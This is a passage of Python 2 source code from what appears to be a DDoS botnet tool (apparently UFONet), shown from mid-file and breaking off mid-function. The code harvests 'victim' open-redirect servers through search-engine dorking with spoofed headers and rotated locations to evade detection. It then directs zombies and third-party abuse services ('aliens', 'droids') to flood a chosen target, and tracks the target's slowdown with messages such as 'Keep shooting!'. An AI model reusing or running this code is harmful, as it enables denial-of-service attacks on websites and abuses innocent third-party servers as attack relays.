  1994. print "[Error] [AI] [Control] Cannot retrieve [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n"
  1995. return
  1996. else:
  1997. return dorks
  1998. except:
  1999. if not options.autosearch:
  2000. if os.path.exists(self.dorks_file) == True:
  2001. print "[Error] [AI] [Control] Cannot open [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n"
  2002. return #sys.exit(2)
  2003. else:
  2004. print "[Error] [AI] [Control] Cannot found [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n"
  2005. return #sys.exit(2)
  2006. else:
  2007. return
  2008. def search_zombies(self, dork, zombies_found):
  2009. # crawlering on search engine results to extract zombies
  2010. options = self.options
  2011. zombies = []
  2012. if not options.engine: # default search engine
  2013. options.engine = 'yahoo'
  2014. if options.engine == 'bing': # using bing [13/12/2018: OK!]
  2015. url = 'https://www.bing.com/search?'
  2016. if options.search: # search from query
  2017. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2018. if options.dorks or options.autosearch: # search from a dork
  2019. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2020. start = 0 # set index number of first entry
  2021. query_string = { 'q':q, 'first':start }
  2022. data = urllib.urlencode(query_string)
  2023. url = url + data
  2024. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2025. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2026. if options.verbose:
  2027. print("Query used: " + url + "\n")
  2028. try:
  2029. if options.proxy: # set proxy
  2030. self.proxy_transport(options.proxy)
  2031. req = urllib2.Request(url, None, headers)
  2032. req_reply = urllib2.urlopen(req, context=self.ctx).read()
  2033. except:
  2034. print('[Error] [AI] Unable to connect to: bing\n')
  2035. if options.allengines or options.autosearch:
  2036. return
  2037. if not options.dorks or not options.autosearch:
  2038. if not self.options.forceyes:
  2039. update_reply = raw_input("[AI] Do you want to try a different search engine? (Y/n)")
  2040. else:
  2041. update_reply = "Y"
  2042. if update_reply == "n" or update_reply == "N":
  2043. return #sys.exit(2)
  2044. print "\nSearch engines available:"
  2045. print '-'*25
  2046. for e in self.search_engines:
  2047. print "+ "+e
  2048. print '-'*25
  2049. print "\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'"
  2050. return #sys.exit(2)
  2051. else:
  2052. req_reply = ''
  2053. regex = '<li class="b_algo"><h2><a href="(.+?)">' # regex magics
  2054. pattern = re.compile(regex)
  2055. url_links = re.findall(pattern, req_reply)
  2056. elif options.engine == 'yahoo': # yahoo [13/12/2018: OK!]
  2057. #location = ['fr', 'de', 'es', 'nl', 'it', 'se', 'ch', 'jp', 'ru', 'lt'] # generate 'flags' for location servers to evade Yahoo anti-dorking on main search webpage [grey magic: 18/08/2016]
  2058. location = ['fr', 'de', 'es', 'nl', 'se', 'ch', 'ru'] # [08/04/2017]
  2059. location = str(random.choice(location).strip()) # shuffle location
  2060. url = 'https://'+location+'.search.yahoo.com/search?'
  2061. if options.search: # search from query
  2062. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2063. if options.dorks or options.autosearch: # search from a dork
  2064. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2065. start = 0 # set index number of first entry
  2066. query_string = { 'p':q, 'b':start }
  2067. data = urllib.urlencode(query_string)
  2068. url = url + data
  2069. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2070. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2071. if options.verbose:
  2072. print("Query used: " + url + "\n")
  2073. try:
  2074. if options.proxy: # set proxy
  2075. self.proxy_transport(options.proxy)
  2076. req = urllib2.Request(url, None, headers)
  2077. req_reply = urllib2.urlopen(req, context=self.ctx).read()
  2078. except:
  2079. print('[Error] [AI] Unable to connect to: yahoo\n')
  2080. if options.allengines or options.autosearch:
  2081. return
  2082. if not options.dorks or not options.autosearch:
  2083. if not self.options.forceyes:
  2084. update_reply = raw_input("[AI] Do you want to try a different search engine? (Y/n)")
  2085. else:
  2086. update_reply = "Y"
  2087. if update_reply == "n" or update_reply == "N":
  2088. return #sys.exit(2)
  2089. print "\nSearch engines available:"
  2090. print '-'*25
  2091. for e in self.search_engines:
  2092. print "+ "+e
  2093. print '-'*25
  2094. print "\nEx: ufonet -s 'proxy.php?url=' --se 'bing'"
  2095. return #sys.exit(2)
  2096. else:
  2097. req_reply = ''
  2098. #regex = '<h3 class="title"><a style="color:#2C46C7" class=" td-u" href="(.+?)" target="_blank"' # regex magics [18/08/2016]
  2099. regex = 'href="(.+?)" target="_blank" data' # regex magics [08/04/2017]
  2100. pattern = re.compile(regex)
  2101. url_links = re.findall(pattern, req_reply)
  2102. else: # no valid search engine
  2103. print('[Error] [AI] This search engine is not supported!\n')
  2104. if not options.dorks or options.autosearch:
  2105. if not self.options.forceyes:
  2106. update_reply = raw_input("[AI] Do you want to try a different search engine? (Y/n)")
  2107. else:
  2108. update_reply = "Y"
  2109. if update_reply == "n" or update_reply == "N":
  2110. return #sys.exit(2)
  2111. print "\nSearch engines available:"
  2112. print '-'*25
  2113. for e in self.search_engines:
  2114. print "+ "+e
  2115. print '-'*25
  2116. print "\nEx: ufonet -s 'proxy.php?url=' --se 'bing'"
  2117. return #sys.exit(2)
  2118. else:
  2119. req_reply = ''
  2120. if options.num_results: # set number of results to search
  2121. try:
  2122. num = int(options.num_results)
  2123. except:
  2124. print("You should specify an integer!!!. Using default value: 10\n")
  2125. num = 10
  2126. else:
  2127. num = 10
  2128. total_results = 1
  2129. for url in url_links: # general parse on urls
  2130. if int(num) < int(total_results):
  2131. break
  2132. if options.engine == "bing":
  2133. if " h=" in url: # regex magics [18/08/2016]
  2134. url = url.rsplit('" h=',1)[0]
  2135. if options.engine == "yahoo":
  2136. if 'RU=' in url: # regex magics [18/08/2016]
  2137. url = url.rsplit('RU=',1)[1]
  2138. if 'UTF-8&u=' in url: # regex magics [05/02/2018]
  2139. url = url.rsplit('UTF-8&u=',1)[1]
  2140. total_results = total_results + 1 # results counter
  2141. url_link = url.strip('?q=') # parse url_links to retrieve only a url
  2142. url_link = urllib.unquote(url_link).decode('utf8') # unquote encoding
  2143. if options.search:
  2144. sep = str(options.search)
  2145. if options.dorks or options.autosearch:
  2146. sep = str(dork)
  2147. url_link = url_link.rsplit(sep, 1)[0] + sep
  2148. if 'href="' in url_link:
  2149. url_link = url_link.rsplit('href="', 1)[1]
  2150. if "instreamset" in url_link: # invalid zombie
  2151. url_link = "" # discarded
  2152. if '" ' in url_link:
  2153. url_link = url_link.rsplit('" ', 1)[1]
  2154. if options.engine in url_link:
  2155. url_link = "" # discarded
  2156. if 'http' not in url_link:
  2157. url_link = "" # discarded
  2158. else:
  2159. if url_link not in zombies and url_link+os.linesep not in zombies_found and url_link is not "": # AI mode (parsing search engines mixed pool and stored army)
  2160. print('+Victim found: ' + url_link)
  2161. print '-'*12
  2162. zombies.append(url_link)
  2163. else:
  2164. pass
  2165. if len(zombies) == 0: # print dorking results
  2166. print "[Info] [AI] NOT any NEW victim(s) found for this query!"
  2167. if not options.dorks:
  2168. if not options.autosearch:
  2169. if not self.options.forceyes:
  2170. return #sys.exit(2)
  2171. print "\n" + '-'*44 + '\n'
  2172. self.total_possible_zombies = self.total_possible_zombies + len(zombies)
  2173. return zombies
  2174. def check_nat(self):
  2175. # check for NAT configuration
  2176. options = self.options
  2177. tor_reply = urllib2.urlopen(self.check_tor_url).read() # check if TOR is enabled
  2178. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
  2179. check_ip_service = None
  2180. if not tor_reply or 'Congratulations' not in tor_reply:
  2181. print("[Info] [AI] It seems that you are not using TOR to recieve data. -> [OK!]\n")
  2182. else:
  2183. print("[Error] [AI] You are using TOR as public IP... It's not possible to NAT! -> [Aborting!]\n")
  2184. self.nat_error_flag = "ON"
  2185. return #sys.exit(2)
  2186. try:
  2187. data = str(urlopen(self.check_ip_service1).read()) # check for public ip
  2188. self.pub_ip = re.compile(r'Address: (\d+\.\d+\.\d+\.\d+)').search(data).group(1)
  2189. check_ip_service = self.check_ip_service1
  2190. except:
  2191. try: # another check for public ip
  2192. data = str(urlopen(self.check_ip_service2).read())
  2193. self.pub_ip = re.compile(r'">(\d+\.\d+\.\d+\.\d+)</span>').search(data).group(1)
  2194. check_ip_service = self.check_ip_service2
  2195. except:
  2196. print("[Error] [AI] Something wrong checking your public IP! -> [Exiting!]\n")
  2197. self.nat_error_flag = "ON"
  2198. return
  2199. t = urlparse(check_ip_service)
  2200. name_service = t.netloc
  2201. print " + Public: " + self.pub_ip + " | "+name_service+"\n"
  2202. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  2203. s.connect(('8.8.8.8', 0)) # connecting to a UDP address doesn't send packets (black magic)
  2204. self.local_ip = s.getsockname()[0]
  2205. print " + Local: " + self.local_ip + "\n"
  2206. print '='*22 + '\n'
  2207. def extract_ucavs(self):
  2208. # extract ucavs from file
  2209. options = self.options
  2210. try:
  2211. f = open(self.ucavs_file)
  2212. ucavs = f.readlines()
  2213. ucavs = [ ucav.replace('\n','') for ucav in ucavs ]
  2214. f.close()
  2215. if not ucavs:
  2216. print "[Info] [AI] [Control] Cannot retrieve [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]"
  2217. self.options.disableucavs = True
  2218. return
  2219. else:
  2220. return ucavs
  2221. except:
  2222. if os.path.exists(self.ucavs_file) == True:
  2223. print "[Info] [AI] [Control] Cannot open [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]"
  2224. return #sys.exit(2)
  2225. else:
  2226. print "[Info] [AI] [Control] Cannot found [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]"
  2227. return #sys.exit(2)
  2228. def discarding_ucavs(self, ucav, ucavs):
  2229. if ucav in self.discard_ucavs:
  2230. ucavs.remove(ucav)
  2231. if self.options.verbose:
  2232. print("[Info] [AI] [Control] [UCAVs] "+str(ucav)+" is not working! -> [Discarding!]")
  2233. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  2234. return ucavs
  2235. def send_ucavs(self, ucavs):
  2236. # extract external status checkers, perform a request and check results
  2237. time.sleep(5) # aiming (multi-threading flow time compensation)
  2238. if not self.options.disablepurge:
  2239. if not ucavs: # return when not any working
  2240. self.options.disableucavs = True
  2241. return
  2242. options = self.options
  2243. target = self.options.target
  2244. shuffle(ucavs) # shuffle ucavs order, each round :-)
  2245. if not self.options.disablepurge:
  2246. for ucav in ucavs:
  2247. if not ucav.startswith('http'): # discarded inmediately
  2248. self.discard_ucavs.append(ucav)
  2249. self.num_discard_ucavs = self.num_discard_ucavs + 1
  2250. ucavs = self.discarding_ucavs(ucav, ucavs) # check if ucav is failing for autobalance army
  2251. if not self.options.disablepurge:
  2252. if not ucavs: # return when not any working
  2253. self.options.disableucavs = True
  2254. return
  2255. shuffle(ucavs) # shuffle ucavs order, each discarding check :-)
  2256. for ucav in ucavs:
  2257. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2258. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2259. if target.startswith("http://"): # parse target for some checkers
  2260. target = target.replace('http://','')
  2261. elif target.startswith("https://"):
  2262. target = target.replace('https://','')
  2263. url = ucav + target
  2264. t = urlparse(ucav)
  2265. name_ucav = t.netloc
  2266. if name_ucav == "":
  2267. name_ucav = ucav
  2268. if options.verbose:
  2269. print("[Info] [UCAVs] Sniping: " + url)
  2270. try:
  2271. if options.proxy: # set proxy
  2272. self.proxy_transport(options.proxy)
  2273. if options.timeout: # set timeout
  2274. ucav_timeout = options.timeout
  2275. else:
  2276. ucav_timeout = 1
  2277. if ucav_timeout < 1:
  2278. ucav_timeout = 1
  2279. req = urllib2.Request(url, None, headers)
  2280. target_reply = urllib2.urlopen(req, context=self.ctx, timeout=ucav_timeout).read()
  2281. self.ucavs_hit = self.ucavs_hit + 1 # add ucav hit to stats
  2282. except:
  2283. print "[Info] [UCAVs] " + name_ucav + " -> FAILED (cannot connect!)"
  2284. if not self.options.disablepurge:
  2285. self.discard_ucavs.append(ucav)
  2286. self.num_discard_ucavs = self.num_discard_ucavs + 1
  2287. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  2288. target_reply = ""
  2289. if target_reply == "": # check for target's status resolved by [UCAVs]
  2290. pass
  2291. else:
  2292. if not "is down" or not "looks down" in target_reply: # parse external service for reply
  2293. print "[Info] [UCAVs] " + name_ucav + " -> Target is ONLINE! -> [Keep shooting!]"
  2294. self.num_is_up = self.num_is_up + 1
  2295. else:
  2296. print "[Info] [UCAVs] " + name_ucav + " -> Target looks OFFLINE! -> [Checking!]"
  2297. self.num_is_down = self.num_is_down + 1
  2298. if self.options.verbose:
  2299. print "[Info] [AI] [UCAVs] "+str(name_ucav)+" is returning..."
  2300. self.extra_zombies_lock = False # [ARMY] have finished
  2301. def extract_median(self, num_list):
  2302. # extract median form a list of numbers
  2303. num_list.sort()
  2304. z = len(num_list)
  2305. if not z%2:
  2306. return (float(num_list[(z/2)-1])+float(num_list[z/2]))/2
  2307. else:
  2308. return float(num_list[z/2])
  2309. def check_is_loading(self, target):
  2310. # perform a broadband test (using GET) to analize target's reply to the traffic generated each round
  2311. self.start = None
  2312. self.stop = None
  2313. print '\n---------'
  2314. print "\n[Info] [AI] Scanning target to check for levels on defensive shields...\n"
  2315. if target.endswith(""):
  2316. target.replace("", "/")
  2317. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2318. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2319. try:
  2320. req = urllib2.Request(target, None, headers)
  2321. if self.options.proxy: # set proxy
  2322. self.proxy_transport(self.options.proxy)
  2323. if self.options.timeout: # set timeout
  2324. try:
  2325. timeout = int(self.options.timeout)
  2326. except:
  2327. timeout = 1
  2328. else:
  2329. timeout = 1
  2330. if timeout < 1:
  2331. timeout = 1
  2332. self.start = time.time()
  2333. target_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  2334. header = urllib2.urlopen(req, context=self.ctx).info()
  2335. self.stop = time.time()
  2336. except:
  2337. print('[Info] [AI] Our scanner cannot connect to the target this round! -> [Skipping!]\n')
  2338. return
  2339. try:
  2340. s, size_name = self.convert_size(len(target_reply))
  2341. self.loadcheck_size_list.append(s) # add record to size list
  2342. size = '%s %s' % (s,size_name)
  2343. except:
  2344. size = "Error!"
  2345. try:
  2346. time_required = self.stop - self.start
  2347. load = self.convert_time(time_required)
  2348. self.loadcheck_load_list.append(load) # add record to load list
  2349. except:
  2350. load = "Error!"
  2351. self.loadcheck_counter = self.loadcheck_counter + 1
  2352. print ' -Total tests:', self.loadcheck_counter, "\n"
  2353. if self.loadcheck_prev_size is not None and self.loadcheck_prev_load is not None:
  2354. lsm = self.extract_median(self.loadcheck_size_list)
  2355. if lsm is not None:
  2356. self.loadcheck_size_median = str(lsm) + " " + size_name
  2357. else:
  2358. self.loadcheck_size_median = None
  2359. llm = self.extract_median(self.loadcheck_load_list)
  2360. if llm is not None:
  2361. self.loadcheck_load_median = str(llm) + " seconds"
  2362. else:
  2363. self.loadcheck_load_median = None
  2364. if self.loadcheck_counter == 2: # first round
  2365. print ' -Bytes in (first round) :', self.loadcheck_first_size
  2366. print ' -Bytes in (this round) :', size
  2367. if self.loadcheck_size_median is not None:
  2368. print ' -Bytes in (median) :', self.loadcheck_size_median
  2369. print ' ----'
  2370. print ' -Load time (first round) :', self.loadcheck_first_load, "seconds"
  2371. print ' -Load time (this round) :', load, "seconds"
  2372. if self.loadcheck_load_median is not None:
  2373. print ' -Load time (median) :', self.loadcheck_load_median, "\n"
  2374. else:
  2375. print "\n"
  2376. self.loadcheck_size_max = None
  2377. self.loadcheck_size_min = None
  2378. self.loadcheck_load_max = None
  2379. self.loadcheck_load_min = None
  2380. elif self.loadcheck_counter > 2: # rest of rounds
  2381. lsmax = max(self.loadcheck_size_list)
  2382. if lsmax is not None:
  2383. self.loadcheck_size_max = str(lsmax) + " " + size_name
  2384. else:
  2385. self.loadcheck_size_max = None
  2386. lsmin = min(self.loadcheck_size_list)
  2387. if lsmin is not None:
  2388. self.loadcheck_size_min = str(lsmin) + " " + size_name
  2389. else:
  2390. self.loadcheck_size_min = None
  2391. llmax = max(self.loadcheck_load_list)
  2392. if llmax is not None:
  2393. self.loadcheck_load_max = str(llmax) + " seconds"
  2394. else:
  2395. self.loadcheck_load_max = None
  2396. llmin = min(self.loadcheck_load_list)
  2397. if llmin is not None:
  2398. self.loadcheck_load_min = str(llmin) + " seconds"
  2399. else:
  2400. self.loadcheck_load_min = None
  2401. print ' -Bytes in (first round) :', self.loadcheck_first_size
  2402. print ' -Bytes in (previous round) :', self.loadcheck_prev_size
  2403. print ' -Bytes in (this round) :', size
  2404. if self.loadcheck_size_max is not None:
  2405. print ' -Bytes in (max) :', self.loadcheck_size_max
  2406. if self.loadcheck_size_min is not None:
  2407. print ' -Bytes in (min) :', self.loadcheck_size_min
  2408. if self.loadcheck_size_median is not None:
  2409. print ' -Bytes in (median) :', self.loadcheck_size_median
  2410. print ' ----'
  2411. print ' -Load time (first round) :', self.loadcheck_first_load, "seconds"
  2412. print ' -Load time (previous round):', self.loadcheck_prev_load, "seconds"
  2413. print ' -Load time (this round) :', load, "seconds"
  2414. if self.loadcheck_load_max is not None:
  2415. print ' -Load time (max) :', self.loadcheck_load_max
  2416. if self.loadcheck_load_min is not None:
  2417. print ' -Load time (min) :', self.loadcheck_load_min
  2418. if self.loadcheck_load_median is not None:
  2419. print ' -Load time (median) :', self.loadcheck_load_median, "\n"
  2420. else:
  2421. print "\n"
  2422. if self.loadcheck_prev_load < load: # target is loading more slowly
  2423. print "[Info] [Scanner] Target is serving the content more slowly this round! ;-) -> [Keep shooting!]\n"
  2424. elif self.loadcheck_prev_load == load: # inmutable target
  2425. print "[Info] [Scanner] Attack is not having any effect on your target this round... -> [Keep shooting!]\n"
  2426. elif self.loadcheck_prev_load > load: # is target defending?
  2427. print "[Info] [Scanner] Target is loading this round faster than the previous one! -> [o_0]\n"
  2428. else:
  2429. print ' -Bytes in (this round) :', size
  2430. print ' -Load time (this round):', load, "seconds\n"
  2431. self.loadcheck_first_size = size
  2432. self.loadcheck_first_load = load
  2433. self.loadcheck_size_median = None
  2434. self.loadcheck_load_median = None
  2435. self.loadcheck_size_max = None
  2436. self.loadcheck_size_min = None
  2437. self.loadcheck_load_max = None
  2438. self.loadcheck_load_min = None
  2439. self.loadcheck_prev_size = size # record previous size
  2440. self.loadcheck_prev_load = load # record previous load
  2441. def convert_size(self, size):
  2442. if (size == 0):
  2443. return '0 B'
  2444. size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
  2445. i = int(math.floor(math.log(size,1024)))
  2446. p = math.pow(1024,i)
  2447. s = round(size/p,2)
  2448. return s, size_name[i]
  2449. def convert_time(self, time):
  2450. return '%.2f' % time
  2451. def discarding_zombies(self, zombie, zombies):
  2452. if zombie in self.discardzombies:
  2453. zombies.remove(zombie)
  2454. if self.options.verbose:
  2455. print("[Info] [AI] [Control] [Zombies] "+str(zombie)+" is not working! -> [Discarding!]")
  2456. return zombies
  2457. def send_zombies(self, zombies):
  2458. # send Open Redirect zombies
  2459. time.sleep(1) # aiming (multi-threading flow time compensation)
  2460. if not self.options.disablepurge:
  2461. if not zombies:
  2462. self.empty_zombies = True
  2463. return
  2464. if self.options.verbose:
  2465. print "[Info] [AI] [Control] Deploying [Zombies] with 'maser-melee' weapons..."
  2466. options = self.options
  2467. target = self.options.target
  2468. shuffle(zombies) # shuffle zombies order, each round :-)
  2469. if not self.options.disablepurge:
  2470. for zombie in zombies: # check if zombie is failing for autobalance army
  2471. if not zombie.startswith('http'): # discarded inmediately
  2472. self.discardzombies.append(zombie)
  2473. self.num_discard_zombies = self.num_discard_zombies + 1
  2474. zombies = self.discarding_zombies(zombie, zombies)
  2475. if not self.options.disablepurge:
  2476. if not zombies: # return when not any working
  2477. self.empty_zombies = True
  2478. return
  2479. for zombie in zombies:
  2480. t = urlparse(zombie)
  2481. name_zombie = t.netloc
  2482. if name_zombie == "":
  2483. name_zombie = zombie
  2484. if not self.options.attackme:
  2485. print "[Info] [Zombies] Attacking from: " + name_zombie
  2486. else: # on attackme, target url is dynamic -> http://public_ip:port/hash|zombie
  2487. self.mothership_hash = random.getrandbits(128) # generating random evasion hash
  2488. target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
  2489. self.options.target = target
  2490. print "[Info] [Zombies] Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port
  2491. print "[Info] [Zombies] Payload: " + target
  2492. print '='*55, "\n"
  2493. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2494. if not options.target.startswith('http'):
  2495. if options.forcessl:
  2496. options.target = "https://" + options.target
  2497. else:
  2498. options.target = "http://" + options.target
  2499. self.attack_mode = True
  2500. try:
  2501. if options.verbose:
  2502. print "[Info] [Zombies] Sniping: " + options.target
  2503. self.connect_zombies(zombie)
  2504. if self.options.dbstress: # try to stress db on target by using vulnerable Open Redirect web servers
  2505. self.db_flash = self.db_flash + 1
  2506. stress = self.stressing(target, zombie)
  2507. except Exception:
  2508. print "[Info] [Zombies] " + zombie + " -> FAILED (cannot connect!)"
  2509. self.total_zombies_failed_connection = self.total_zombies_failed_connection + 1 # used to manage threading pool
  2510. if not self.options.disablepurge:
  2511. self.discardzombies.append(zombie)
  2512. self.num_discard_zombies = self.num_discard_zombies + 1
  2513. if self.options.verbose:
  2514. print "[Info] [AI] [Zombies] "+str(name_zombie)+" is returning..."
  2515. self.attack_mode = False
  2516. def discarding_aliens(self, alien, aliens):
  2517. if alien in self.discard_aliens:
  2518. aliens.remove(alien)
  2519. if self.options.verbose:
  2520. print("[Info] [AI] [Control] [Aliens] "+str(alien)+" is not working! -> [Discarding!]")
  2521. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  2522. return aliens
  2523. def send_aliens(self, aliens):
  2524. # extract external web abuse services urls (POST) and perform requests against target
  2525. time.sleep(2) # aiming (multi-threading flow time compensation)
  2526. if not self.options.disablepurge:
  2527. if not aliens: # return when not any working
  2528. self.options.disablealiens = True
  2529. return
  2530. target = self.options.target
  2531. options = self.options
  2532. shuffle(aliens) # shuffle aliens
  2533. if not self.options.disablepurge:
  2534. for alien in aliens:
  2535. if not alien.startswith('http'): # discarded inmediately
  2536. self.discard_aliens.append(alien)
  2537. self.num_discard_aliens = self.num_discard_aliens + 1
  2538. aliens = self.discarding_aliens(alien, aliens) # check if alien is failing for autobalance army
  2539. if not self.options.disablepurge:
  2540. if not aliens: # return when not any working
  2541. self.options.disablealiens = True
  2542. return
  2543. shuffle(aliens) # shuffle aliens order, each discarding check :-)
  2544. for alien in aliens:
  2545. if "$POST" in alien: # extract alien/parameters -> search for $POST delimiter on 'aliens.txt' file
  2546. regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST'))) # regex magics
  2547. pattern_alien = re.compile(regex_alien)
  2548. alien_url = re.findall(pattern_alien, alien) # HTTP POST url for submit data
  2549. regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape(''))) # regex magics
  2550. pattern_param = re.compile(regex_param)
  2551. param = re.findall(pattern_param, alien) # HTTP POST params to submit
  2552. for u in alien_url:
  2553. url = u # ex: POST -> path/submit.php
  2554. t = urlparse(url)
  2555. name_alien = t.netloc
  2556. if name_alien == "":
  2557. name_alien = alien
  2558. print "[Info] [Aliens] Attacking from: " + name_alien
  2559. for p in param:
  2560. param_target = {p : target} # ex POST -> url=target
  2561. param_target = urllib.urlencode(param_target)
  2562. try:
  2563. if options.verbose:
  2564. print "[Info] [Aliens] Sniping: " + url + " - POST:", param_target
  2565. if options.proxy: # set proxy
  2566. self.proxy_transport(options.proxy)
  2567. if self.options.timeout: # set timeout
  2568. try:
  2569. alien_timeout = int(self.options.timeout)
  2570. except:
  2571. alien_timeout = 1
  2572. else:
  2573. alien_timeout = 1
  2574. if alien_timeout < 1:
  2575. alien_timeout = 1
  2576. req = urllib2.Request(url, param_target)
  2577. rsp = urllib2.urlopen(req, context=self.ctx, timeout=alien_timeout)
  2578. self.aliens_hit = self.aliens_hit + 1 # add hit to aliens stats
  2579. except Exception:
  2580. print "[Info] [Aliens] " + name_alien + " -> FAILED (cannot connect!)"
  2581. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  2582. if not self.options.disablepurge:
  2583. self.discard_aliens.append(alien)
  2584. self.num_discard_aliens = self.num_discard_aliens + 1
  2585. else:
  2586. print("[Info] [Aliens] "+str(alien)+" -> FAILED (invalid alien!)")
  2587. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  2588. if not self.options.disablepurge:
  2589. self.discard_aliens.append(alien)
  2590. self.num_discard_aliens = self.num_discard_aliens + 1
  2591. if self.options.verbose:
  2592. print "[Info] [AI] [Aliens] "+str(name_alien)+" is returning..."
  2593. if self.options.disabledroids and self.options.disablerpcs and self.options.disableucavs:
  2594. self.extra_zombies_lock = False # [ARMY] have finished
  2595. def extract_aliens(self):
  2596. # extract aliens from file
  2597. options = self.options
  2598. try:
  2599. f = open(self.aliens_file)
  2600. aliens = f.readlines()
  2601. aliens = [ alien.replace('\n','') for alien in aliens ]
  2602. f.close()
  2603. if not aliens:
  2604. print "[Info] [AI] [Control] Cannot retrieve [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]"
  2605. self.options.disablealiens = True
  2606. return
  2607. else:
  2608. return aliens
  2609. except:
  2610. if os.path.exists(self.aliens_file) == True:
  2611. print "[Info] [AI] [Control] Cannot open [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]"
  2612. return #sys.exit(2)
  2613. else:
  2614. print "[Info] [AI] [Control] Cannot found [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]"
  2615. return #sys.exit(2)
  2616. def discarding_droids(self, droid, droids):
  2617. if droid in self.discard_droids:
  2618. droids.remove(droid)
  2619. if self.options.verbose:
  2620. print("[Info] [AI] [Control] [Droids] "+str(droid)+" is not working! -> [Discarding!]")
  2621. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  2622. return droids
  2623. def send_droids(self, droids):
  2624. # extract external web abuse services urls (GET) and perform requests against target
  2625. time.sleep(3) # aiming (multi-threading flow time compensation)
  2626. if not self.options.disablepurge:
  2627. if not droids: # return when not any working
  2628. self.options.disabledroids = True
  2629. return
  2630. target = self.options.target
  2631. target = urllib.unquote(target).decode('utf8') # parte urlencoding
  2632. if target.startswith('http://'): # remove http
  2633. target = target.replace('http://', '')
  2634. if target.startswith('https://'):
  2635. target = target.replace('https://', '') # remove https
  2636. options = self.options
  2637. shuffle(droids) # shuffle droids
  2638. if not self.options.disablepurge:
  2639. for droid in droids:
  2640. if not droid.startswith('http'): # discarded inmediately
  2641. self.discard_droids.append(droid)
  2642. self.num_discard_droids = self.num_discard_droids + 1
  2643. droids = self.discarding_droids(droid, droids) # check if droid is failing for autobalance army
  2644. if not self.options.disablepurge:
  2645. if not droids: # return when not any working
  2646. self.options.disabledroids = True
  2647. return
  2648. shuffle(droids) # shuffle droids order, each discarding check :-)
  2649. for droid in droids:
  2650. if "$TARGET" in droid: # replace droid/parameter for target
  2651. url = droid.replace("$TARGET", target)
  2652. t = urlparse(url)
  2653. name_droid = t.netloc
  2654. if name_droid == "":
  2655. name_droid = droid
  2656. print "[Info] [Droids] Attacking from: " + name_droid
  2657. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2658. headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'} # set fake headers
  2659. try:
  2660. if options.proxy: # set proxy
  2661. self.proxy_transport(options.proxy)
  2662. if self.options.timeout: # set timeout
  2663. try:
  2664. droid_timeout = int(self.options.timeout)
  2665. except:
  2666. droid_timeout = 1
  2667. else:
  2668. droid_timeout = 1
  2669. if droid_timeout < 1:
  2670. droid_timeout = 1
  2671. req = urllib2.Request(url, None, headers)
  2672. rsp = urllib2.urlopen(req, context=self.ctx, timeout=droid_timeout)
  2673. self.droids_hit = self.droids_hit + 1 # add hit to droids stats
  2674. except Exception:
  2675. print "[Info] [Droids] " + name_droid + " -> FAILED (cannot connect!)"
  2676. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  2677. if not self.options.disablepurge:
  2678. self.discard_droids.append(droid)
  2679. self.num_discard_droids = self.num_discard_droids + 1
  2680. else:
  2681. print "[Info] [Droids] " + str(droid) + " -> FAILED (invalid droid!)"
  2682. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  2683. if not self.options.disablepurge:
  2684. self.discard_droids.append(droid)
  2685. self.num_discard_droids = self.num_discard_droids + 1
  2686. if self.options.verbose:
  2687. print "[Info] [AI] [Droids] "+str(name_droid)+" is returning..."
  2688. if self.options.disablerpcs and self.options.disableucavs:
  2689. self.extra_zombies_lock = False # [ARMY] have finished
  2690. def extract_droids(self):
  2691. # extract droids from file
  2692. options = self.options
  2693. try:
  2694. f = open(self.droids_file)
  2695. droids = f.readlines()
  2696. droids = [ droid.replace('\n','') for droid in droids ]
  2697. f.close()
  2698. if not droids:
  2699. print "[Info] [AI] [Control] Cannot retrieve [Droids] from: 'botnet/droids.txt' -> [Discarding!]"
  2700. self.options.disabledroids = True
  2701. return
  2702. else:
  2703. return droids
  2704. except:
  2705. if os.path.exists(self.droids_file) == True:
  2706. print "[Info] [AI] [Control] Cannot open [Droids] from: 'botnet/droids.txt' -> [Discarding!]"
  2707. return #sys.exit(2)
  2708. else:
